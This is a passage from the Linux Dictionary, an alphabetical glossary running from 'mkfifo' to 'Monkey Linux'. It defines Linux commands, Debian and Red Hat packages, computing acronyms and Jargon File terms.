mkfifo

creates FIFOs (also called "named pipes") with the specified filenames. From Linux Guide
@FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkfifo

make a FIFO special file (a named pipe) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkfifo

make FIFOs (named pipes) From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkfontdesc

utility to create PK font description files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkfontdir

create an index of X font files in a directory From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkfs

build a Linux file system From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkfs.ext2

create a Linux second extended file system From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkfs.ext3

create a Linux second extended file system From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkfs.minix

make a Linux MINIX filesystem From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkhtmlindex

generate index files for HTML man pages From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkindex

script to process LaTeX index and glossary files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkinitrd

Mkinitrd creates filesystem images for use as initial ramdisk (initrd) images. These ramdisk images are often used to preload the block device modules (SCSI or RAID) needed to access the root filesystem. In other words, generic kernels can be built without drivers for any SCSI adapters which load the SCSI driver as a module. Since the kernel needs to read those modules, but in this case it isn't able to address the SCSI adapter, an initial ramdisk is used. The initial ramdisk is loaded by the operating system loader (normally LILO) and is available to the kernel as soon as the ramdisk is loaded. The ramdisk image loads the proper SCSI adapter and allows the kernel to mount the root filesystem. The mkinitrd program creates such a ramdisk using information found in the /etc/modules.conf file. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkinitrd-cd

Creates an initrd image suitable for booting from a live CD-ROM This is the package used by the Gibraltar project to create the initrd images used for booting from CD-ROM. The bootable CD-ROMs are actual live CD-ROMs. That is, the root file system is the CD-ROM, ramdisks are the only things needed for operation without a harddisk. Although a harddisk can be used for e.g. storing

log files permanently or when the machine acts as a proxy server. Given a kernel image and the corresponding modules, it creates a complete boot image that can be written to floppy or be used as El Torito image for a bootable CD-ROM. Upon bootup, the initrd image will try to locate an ATAPI CD-ROM drive. When this does not succeed, it auto-probes for SCSI adapters and tries to locate SCSI drives. It also works when multiple CD-ROM drives are installed in the system by checking if the inserted CD is the correct one for booting. The package can be of use to developers and packagers who want to create their own bootable, live Debian CD-ROM. It will probably not be of any use to others. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkisofs

Creates ISO-9660 CD-ROM filesystem images. mkisofs is a pre-mastering program for creating ISO-9660 CD-ROM filesystem images, which can then be written to a CD-ROM using the crecord program. mkisofs now includes support for making bootable "El Torito" CD-ROMs, as well as CD-ROMs with support for the Macintosh HFS filesystem (as in the old "mkhybrid" package). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkisofs

The mkisofs program is used as a pre-mastering program which generates an ISO9660 filesystem. Mkisofs takes a snapshot of a given directory tree and generates a binary image of the tree which will correspond to an ISO9660 filesystem when written to a block device. Mkisofs is used for writing CD-ROMs and includes support for creating bootable El Torito CD-ROMs. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkisofs

This is the mkisofs package. It is used to create ISO 9660 file system images for creating CD-ROMs. Now includes support for making bootable "El Torito" CD-ROMs. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MkLinux

MkLinux is an open source operating system which consists of an implementation of the Linux operating system hosted on the Mach microkernel. It is estimated that there are somewhere between 50,000 and 100,000 MkLinux users. A significant number of the installed MkLinux systems are being used in mission-critical applications. Pre-R2 was released August 5, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mklost+found

create a lost+found directory on a mounted Linux second extended file system From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkmanifest

makes list of file names and their DOS 8+3 equivalent TQ From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mknbi

Create tagged images for Etherboot or Netboot With mknbi you can create tagged images for Etherboot. Tagged images are data files, which contains the necessary files for booting up (kernel+root for linux, kernel+minifs for dos, ...) bundled together with a special format. These tagged images are downloaded and understood by Etherboot and Netboot during the boot process. This package should be used on the server and not on the client. It doesn't contain code which handle the network card, download the image, etc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mknod

create a special or ordinary file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mknod

make block or character special files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mknod

Linux Dictionary

creates a FIFO (named pipe), character special file, or block special file with the specified name.
From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkocp

frontend to otp2ocp(1) From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkofm

front end to mktexfm(1) From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkpasswd

Overfeatured front end to crypt(3) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkrboot

Make a kernel + rootimage bootable from one disk or from DOS mkrboot generates bootdisks that contain both a kernel and a rootimage. This enables debian bootup for installation purposes from one floppy. mkrboot can also use loadlin to make a floppyless installation possible. Boot methods supported: – Loadlin from running DOS/Windows without a floppy – Loadlin from a FreeDOS bootup disk – Lilo from one floppy – Kernel Boot loader from one floppy – Syslinux from one floppy
From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkrescue

make rescue floppy From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MKS

Mortice Kern Systems (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mksembpasswd

formats a /etc/passwd entry for a smbpasswd file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkswap

set up a Linux swap area From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MKT

Multifunktionelles KartenTerminal (CT, ICC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mktemp

make a unique temporary file name From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mktemp

make temporary filename (unique) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mktemp

The mktemp utility takes a given file name template and overwrites a portion of it to create a unique file name. This allows shellscripts and other programs to safely create and use /tmp files. Install the mktemp package if you need to use shell scripts or other programs which will create and use unique /tmp files. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mktxlsr

create ls-R databases From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mktxmf

create a Metafont source file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mktxpk

create a PK file for a font From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mktexfm

create a TFM file for a font From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkxauth

Linux Dictionary

The mkxauth utility helps create and maintain X authentication databases (.Xauthority files). Mxkauth is used to create an .Xauthority file or to merge keys from another local or remote .Xauthority file. .Xauthority files are used by the xauthuser-oriented access control program, which grants or denies access to X servers based on the contents of the .Xauthorityfile. The mkxauth package should be installed if you're going to use user-oriented access control to provide security for your X Window System (a good idea). From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ML

Mail List From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ML

Meta Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MLA

Mail List Agent From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MLA

Micro Lens Array From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mlabel

make an MSDOS volume label TQ From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MLC

MultiLevel Cell (IC, PCMCIA, Flash, Intel) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MLE

MultiLine Entry field (IBM, OS/2) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mglade

a glade to OCaml compiler Mlglade is a tool to translate a glade xml file into a set of modules for OCaml. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MLI

Measurement Layer Interface (UMA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MLI

Multiple Link Interface (ODI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MLIA

[symposium on] Machine Learning in Information Access (AAAI, AI, conference) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Multi-channel Linear Recording [technology] (Tandberg, Streamer) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MLS

MultiLevel Secure [operating systems / platforms] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MLT

Master Lower Tester (ISO 9646-3, TTCN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MLT3

MuLTilevel-3 [encoding] (Schneider & Koch, FDDI), "MLT-3" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mlterm

MultiLingual TERMinAl This is a terminal emulator for X Window System, which supports various encodings including ISO-8859-[1-10,13-16], TCVN5712, VISCII, KOI8-{R,U}, EUC-JP, EUC-JISX0213, ISO-2022-JP{,1,2,3}, Shift_JIS, Shift_JISX0213, ISO-2022-KR, EUC-KR, UHC, JOHAB, EUC-CN (aka GB2312), GBK, ISO-2022-CN, Big5, EUC-TW, HZ, UTF-8, and GB18030. Doublewidth characters for east Asian, combining characters for Thai, Vietnamese, and other diacritics, and BiDi (bi-direction) for Arab and Hebrew, and Arab shaping are supported. Though mlterm supports Indic complex languages such as Hindi, this Debian package is not compiled with Indic support. Since mlterm checks the current locale and selects appropriate encoding, you don't need to configure mlterm to display your language and encoding. mlterm also supports unique features such as scrollbar API, multiple windows, multiple XIM, anti-alias using FreeType and Xft, and so on. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mlton

Whole-program optimizing compiler for Standard ML MLton is a whole-program optimizing compiler for Standard ML that runs on X86 machines under Linux. MLton generates standalone executables with good runtime performance, is SML 97 compliant, and has a mostly complete basis library. MLton has support for profiling and a fast C FFI. MLton has additional libraries for continuations, interval timers, random numbers, signal handlers, sockets, system logging, threads, and heap save and restore. It also has a fast implementation of IntInf using the GNU multiprecision library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MM

Media Manager (Novell, Netware, SMS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MM

Military Message (mil.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MM

Mobile Management (RR, CM, GSM, mobile-systems) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMA

Linux Dictionary

Microcomputer Managers Association (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMA

MIDI Manufacturer Association (org., IMA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mmake

Makefile generator for Java programs mmake will generate a master Makefile for your Java programs. This generated Makefile fully understands the subdirectories that are required if your program consists of multiple packages. mmake also automatically generates dependencies, and can use the C preprocessor for Java programs and generate javadoc documentation. mmake defaults to using Sun's javac from the jdk but can easily use guavac or a different GPL alternative as well. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMC

Microsoft Management Console (MS, Windows NT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMC

MIDI Machine Control From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMC

MMC

MultiMediaCard From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMCD

MultiMedia Compact Disk (Sony, Philips, CD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMCDE

MultiMedia Compact Disk – Erasable (Sony, Philips, CD), "MMCD-E" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMCF

MultiMedia Communications Forum (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mmd

make an MSDOS subdirectory TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMDO

Magnetic Modulation Direct Overwrite From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMDS

Multi-channel, Multi-point Distribution System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMF

Make Money Fast (Usenet, ECP, EMP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMF

Memory Mapped File (Windows 95, Windows NT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMF

Multimode Fiberoptic cable From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMFS

Manufacturing Message Format Standard (MAP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMHID

MultiMedia Human Interface Device From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMHS

Military Message Handling System (mil., MHS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMI

Mixed Mode Interpreter (JIT, IBM, Java) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mminstance

Multiple master font utilities to create AFM or PFB files. These tools let you use multiple-master fonts with programs that require single-master fonts (afm2tfm, ps2pk, fontinst, etc.). Both programs work fine with fonts that contain intermediate masters (e.g., Adobe Jenson MM and Adobe Kepler MM). Mmafsm creates an AFM (Adobe font metric) file corresponding to a single instance of a multiple-master font. It reads (and therefore requires) the AMFM and AFM files distributed with the font. Mmpfb creates a normal, single-master font program that looks like an instance of a multiple-master font. It reads the multiple-master font program in PFA or PFB format. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMIO

Memory Mapped I/O (I/O) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MML

Maker Markup Language (FrameMaker) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mmm-mode

Multiple Major Mode for Emacs MMM Mode is a minor mode for Emacs that allows Multiple Major Modes (hence the name) to coexist in one buffer. It is particularly well-suited to editing embedded code, such as Mason server-side Perl, or HTML output in CGI scripts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mmorph

A two-level morphology tool for natural language processing The MULTTEXT morphology tool, mmorph, is a free implementation of the two-level formalism for natural language morphology. If you don't know what that means, you probably don't need this package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mmount

mount an MSDOS disk TQ From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mmove

move or rename an MSDOS file or subdirectory TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMP

Multilink Multichasis PPP (PPP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMPM2

MultiMedia Presentation Manager /2 (IBM, OS/2), "MMPM/2" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMR

Modified Modified Read (Fax) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMS

Linux Dictionary

Manufacturing Message Specifications / Standard (MAP, EIA, RS-511, ISO, DIS 9506) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMS

Maximum Message Size From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMS

Module Making System (VMS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMS

Multilevel Mail Server From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMS

Multimedia Message Service From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMU

Mass Memory Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMU

Memory Management Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mmucl

Mark's MUd CLient Mark's MUd CLient ("muckle") is a mud client using Tcl/Tk. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mmv

Move/Copy/Append/Link multiple files mmv is a program to move/copy/append/link multiple files according to a set of wildcard patterns. This multiple action is performed safely, i.e. without any unexpected deletion of files due to collisions of target names with existing filenames or with other target names. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMVF

MultiMedia Video File [disk] (NEC, DVD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMWM

MultiMedia Window Manager (X-Windows) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MMX

MultiMedia eXtensions (Intel, CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mmx-emu

MMX Emulation Library This library provides a simple (but slow) way to execute binaries that use MMX instructions, on processors that do not support them. The emulator also contains emulation code for Cyrix and AMD variants of MMX (EMMX and 3DNow!). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MNG

Multiple-image Network Graphics [format] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mnogosearch-common

A full-featured web search engine (common files) MnoGoSearch consists of two parts. The first part is indexing mechanism (indexer). Indexer walks over html hypertext references and stores found words and new references into database. The second part is web front-end to provide search using data collected by indexer. For more information, look at <http://search.mnogo.ru/> This package contains common files for all database types. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mnogosearch-pgsql

A full-featured web search engine (pgsql) MnoGoSearch consists of two parts. The first part is indexing mechanism (indexer). Indexer walks over html hypertext references and stores found words

and new references into database. The second part is web front-end to provide search using data collected by indexer. For more information, look at <http://search.mnogo.ru/> This package contains postgresql specific files. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mnogosearch-php

PHP frontend for mnoGoSearch mnoGoSearch is a website indexer and search engine. This package provides a PHP frontend so you can query the indexed data. You will need PHP4 and either the PostgreSQL or MySQL modules for PHP4. There also needs to be the relevant database holding the mnoGoSearch data somewhere. To index your website install the mnoGoSearch package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MNOS

Metal Nitride Oxide Semiconductor (IC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MNP

Microcom Networking Protocol From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MO

Management Object (OSI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mobile code

A term that describes any software that is mobile, being passed from one system to another. In particular, it is used to describe applets within web browsers based upon Microsoft's ActiveX, Sun's Java, or Netscape's JavaScript technologies. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mobile IP

specifies enhancements that allow transparent routing of IP datagrams to mobile nodes in the Internet. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOCS

Microsoft Official Curriculum Seminar (MS, ATEC, MCSD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOD

Magneto-Optical Disk (OD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MODACOM

MOBILE DATA COMMUNICATION From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MODCA

Mixed Object Document Content Architecture (IBM), "MO:DCA" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modconf

a module configuration utility From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modconf

Device Driver Configuration Modconf provides a GUI for installing and configuring device driver modules. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mode

n. [common] A general state, usually used with an adjective describing the state. Use of the word `mode' rather than `state' implies that the state is extended over time, and probably also that some activity characteristic of that state is being carried out. "No time to hack; I'm in thesis mode." In its jargon sense, `mode' is most often attributed to people, though it is sometimes applied to programs and inanimate objects. In particular, see hack mode, day mode, night mode, demo mode, fireworks mode, and yoyo mode; also talk mode. One also often hears the verbs `enable' and `disable' used in

connection with jargon modes. Thus, for example, a sillier way of saying "I'm going to crash" is "I'm going to enable crash mode now". One might also hear a request to "disable flame mode, please". In a usage much closer to techspeak, a mode is a special state that certain user interfaces must pass into in order to perform certain functions. For example, in order to insert characters into a document in the Unix editor vi, one must type the "i" key, which invokes the "Insert" command. The effect of this command is to put vi into "insert mode", in which typing the "i" key has a quite different effect (to wit, it inserts an "i" into the document). One must then hit another special key, "ESC", in order to leave "insert mode". Nowadays, modeful interfaces are generally considered losing but survive in quite a few widely used tools built in less enlightened times. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mode bit

n. [common] A flag, usually in hardware, that selects between two (usually quite different) modes of operation. The connotations are different from flag bit in that mode bits are mainly written during a boot or set-up phase, are seldom explicitly read, and seldom change over the lifetime of an ordinary program. The classic example was the EBCDIC-vs.-ASCII bit (#12) of the Program Status Word of the IBM 360. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modeline

calculates modelines for use with SVGAlib and VESA Framebuffer modeline is an utility to calculate modelines for use with SVGAlib and VESA Framebuffer. No invocation of X11 is necessary. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MODEM

Acronym for MOdulate DEModulate. Hardware that allows computers to interact with each other via telephone lines by converting digital signals to analog for transmission along analog lines. MODulator/DEModulator, a gizmo which translates the digital information your computer produces into analogue signals that can be sent down the phone lines. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MODEM

MODulator DEModulator From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Modem

Shorthand for MODulator/DEModulator, a modem allows the transmission of digital information over an analog phone line. A modem dictionary is available that defines all the basic terms. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Modem (MODulator, DEModulator)

A device that connects a computer to a phone line. A telephone for a computer. A modem allows a computer to talk to other computers through the phone system. Basically, modems do for computers what a telephone does for humans. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modemp3d

AO-40 (Phase3D) Soundcard Telemetry Decoder This software allows a standard PC soundcard to be used as Amsat Oscar 40 (Phase 3D) Telemetry Decoder. Unlike previous packet radio telemetry decoders, this new release offers several new benefits: Open Source (Source Code available). Multiplatform builds from a single source code. Can decode from soundcard input or from a wave file. May use MMX or VIS to speed up computation. No tuning required, any center frequency between 1.2kHz and 2kHz detected. Outputs decoded frames over UDP using Phil Karn's STP protocol From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modemu

Telnet services for communication programs modemu is a program that lets you telnet to remote sites using any standard communications program such as Minicom or Seyon. It emulates a modem, including options for 8-bit clean mode so one can use Zmodem or Kermit over a telnet connection. It can also be used for other tasks, such as UUCP over telnet. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modinfo

display information about a kernel module From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modlogan

A modular logfile analyzer Modlogan is a modular logfile analyzer which is currently able to parse ftp-, webserver and squid logs. The generated output can be viewed by a web browser (->moglogan, webalizer) or your favorite text editor (->text). The different input and output modes are provided by some surrounding plugins. For example the modlogan output plugin provides three different menu structure for the same colourfull output while the output which is generated by the webalizer output plugin looks similar to the output generated by the original Webalizer known from <http://www.mrunix.net/webalizer/>. The input is handled the same way. One plugin is for the web server logs, the next is for xferlog from FTP-servers like WuFTP and the third input plugin is a NULL plugin which does nothing (but this perfectly :). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modprobe

high level handling of loadable modules From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Modula-2

A high-level programming language that extends Pascal so that the language can execute program modules independently. Developed in 1980 by computer wizard and Pascal creator Niklaus Wirth, Modula-2 supports the separate compilation of program modules and overcomes many other shortcomings of Pascal. A programmer working as part of a team can write and compile the module he or she has been assigned, and then test the module extensively before integrating it with other modules. Although Modula-2 is increasingly popular as a teaching language at colleges and universities, C dominates professional software development. See modular programming and structured programming. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Modular programming

A programming style that breaks down program functions into modules, each of which accomplishes one function and contains all the source code and variables needed to accomplish that function. Modular programming is a solution to the problem of very large programs that are difficult to debug and maintain. By segmenting the program into modules that perform clearly defined functions, you can determine the source of program errors more easily. Object-orientated programming languages, such as SmallTalk and HyperTalk, incorporate modular programming principles. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Modulation

The conversion of a digital signal to its analog equivalent, especially for the purposes of transmitting signals using telephone lines and modems. See demodulation. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

module

A collection of routines that perform a system-level function; may be loaded and unloaded from the running kernel as required. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

module

A non-linked driver which contain device specific system routines and fills in non-boot gaps in the kernel. Modules can be loaded and removed dynamically and allow for smaller generic kernels. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Module

In a program, a unit or section that can function on its own. In an integrated program, for instance, you can use the word processing module as though it were a separate, stand-alone program. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modulo

Linux Dictionary

/mod'yu-loh/ prep. Except for. An overgeneralization of mathematical terminology; one can consider saying that 4 equals 22 except for the 9s ($4 = 22 \bmod 9$). "Well, LISP seems to work okay now, modulo that GC bug." "I feel fine today modulo a slight headache." From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modutils

Linux module utilities. These utilities are intended to make a Linux modular kernel manageable for all users, administrators and distribution maintainers. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modutils

The modutils package includes various programs needed for automatic loading and unloading of modules under 2.2 and later kernels, as well as other module management programs. Device drivers and filesystems are two examples of loaded and unloaded modules. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

modutils

The modutils packages includes the kerneld program for automatic loading and unloading of modules under 2.2 and 2.4 kernels, as well as other module management programs. Examples of loaded and unloaded modules are device drivers and filesystems, as well as some other things. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOE

Measure of Effectiveness From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOES

Molekulare Optisch-Elektrische Schaltungstraeger From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOESI

Modified - Owner - Exclusive - Shared - Invalid (AMD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOF

Managed Object Format (CIM, DMTF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOF

Meta Object Facility From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOLAP

Multidimensional OnLine Analytical Processing (OLAP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOLED

Molecule Organic Light Emitting Display (OLED) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOLI

Microsoft OnLine Institute (MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOLP

Microsoft Open Licence Pack (MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOM

Message Orientated Middleware (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mon

monitor hosts/services/whatever and alert about problems "mon" is a tool for monitoring the availability of services. Services may be network-related, environmental conditions, or anything that can be tested with software. If a service is unavailable mon can tell you with syslog, email, your pager or a script of your choice. You can control who gets each alert based on the time of day or day of

week, and you can control how often an existing problem is re-alerted. More information can be found at <http://www.kernel.org/software/mon/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mona

a theorem prover based on automata MONA is a tool that translates formulas in the logics WS1S or WS2S into finite-state automata represented by BDDs. The formulas may express search patterns, temporal properties of reactive systems, parse tree constraints, etc. MONA also analyses the automaton resulting from the compilation, and determines whether the formula is valid and, if the formula is not valid, generates a counter-example. Documentation is available from the MONA website <http://www.brics.dk/mona/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MONALISA

MODelling NATuraL Images for Synthesis and Animation, "MONA LISA" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mondo

System to backup your filesystem to CDs Mondo uses `afio` as the backup engine. Mondo creates ISO images of your data to make a full backup of your system. It also makes the CDs to autorun and gives you several options to restore your system. In the event of catastrophic data loss, you may restore some or all of your system from those CDs, even if your hard drives are now blank. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MONET

high data rate MOBILE interNET (network) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Monkey Linux

